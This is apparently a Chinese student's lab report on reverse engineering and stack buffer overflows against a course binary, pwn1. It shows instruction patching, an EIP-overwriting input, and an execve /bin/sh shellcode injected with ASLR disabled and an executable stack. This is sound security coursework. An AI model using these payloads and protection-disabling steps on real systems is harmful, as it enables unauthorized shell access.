20155210 实验一 逆向与Bof基础

20155210 实验一 逆向与Bof基础

实验内容

1.直接修改程序机器指令，改变程序执行流程

• 下载目标文件pwn1,反汇编

利用objdump -d pwn1对pwn1进行反汇编

得到：

• 80484b5: e8 d7 ff ff ff call 8048491 <foo>

• 是说这条指令将调用位于地址8048491处的foo函数；
  
  其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
  
  本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

• main函数调用foo，对应机器指令为“e8 d7ffffff”，那我们想让它调用getShell，只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。

• 直接 47d-4ba就能得到补码。

• 也可通过对比两个函数所存储的地址，计算“0804847d（getshell）-08048491（foo）+d7”得c3ffffff。
  
  下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

• 接下来我们用vi pwn1打开pwn1

得到：

• 然后利用%!xxd将文件转换成16进制显示，利用/e8 d7ff ffff进行搜索将d7改为c3，利用%！xxd -r转回之前，再次进行反汇编

得到：

2.通过构造输入参数，造成BOF攻击，改变程序执行流

• 首先我们先要了解函数的作用

== 注意这个函数getShell，我们的目标是触发这个函数  ==

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 804847e:	89 e5                	mov    %esp,%ebp
 8048480:	83 ec 18             	sub    $0x18,%esp
 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
 804848f:	c9                   	leave
 8048490:	c3                   	ret    

== 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)

 == 这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==

 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave
 80484ae:	c3                   	ret    080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>

 ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 

 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave
 80484c0:	c3                   	ret
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

• 接下来我们要进行尝试如果溢出，eip储存的是哪4位数

• 首先gdb pwn1，让后r，输入1111111122222222333333334444444455555555，然后输入info r

得到：

• 发现eip为35353535，5的ascii为35，所以再重新运行，输入1111111122222222333333334444444412345678（12345678可换为学号）

得到：

• eip为34333231，所以即可编辑输入为perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input，可用xxd input查看input，随后运行pwn1

得到：

3.注入Shellcode并执行

• shellcode就是一段机器指令（code）
  
  通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
  
  在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

• 首先先做一些实验准备，先利用apt-get install execstack下载··execstack··。

• 然后输入下面的指令

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

• 准备工作做好之后，我们就要开始构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：
  
  1.retaddr+nop+shellcode

2.nop+shellcode+retaddr。

• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
• 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

3.1 nop+shellcode+retaddr（此方法失败）

• 首先我们先构造输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

• 其中前32个16进制数为shellcode指令，\x4\x3\x2\x1为溢出到eip的部分，也就是要修改为shellcode的首地址

• 接下来只要确定了shellcode的首地址即可

• 我们先输入(cat input_shellcode;cat) | ./pwn1，运行pwn1，然后打开顶一个终端，输入ps -ef | grep pwn1找到pwn1的进程号为4436，如图：

• 然后我们输入gdb，进入gdb调试，输入attach 4436（进程号）

如图：

• 然后我们来设置断点，首先输入disassemble foo，查看foo的栈地址，然后选择设置断点，break *080484a5，然后c（continue）

如图：

• 然后输入info r，查看栈的地址，然后输入x/32x 0xffffd2f0（esp）

如图：

• 根据上图，选择把地址改为0xffffd310，输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"' > input_shellcode重新构造input，输入(cat input_shellcode; cat) | ./pwn1，运行pwn1，发现失败。

如图：

• 原因可能是代码也在堆栈上，当前栈顶也在这，一push就把指令自己给覆盖了。

3.2 retaddr+nop+shellcode（成功）

• 由实验2知，33-36位为eip，即想要覆盖的区域，37位后为shellcode，所以输入perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode ，用32个A去填充前32位，33-36位为3.1试验中的0x90909090的地址加上/x24，即0xffffd30c+0x24=0xffffd330。
  
  得到：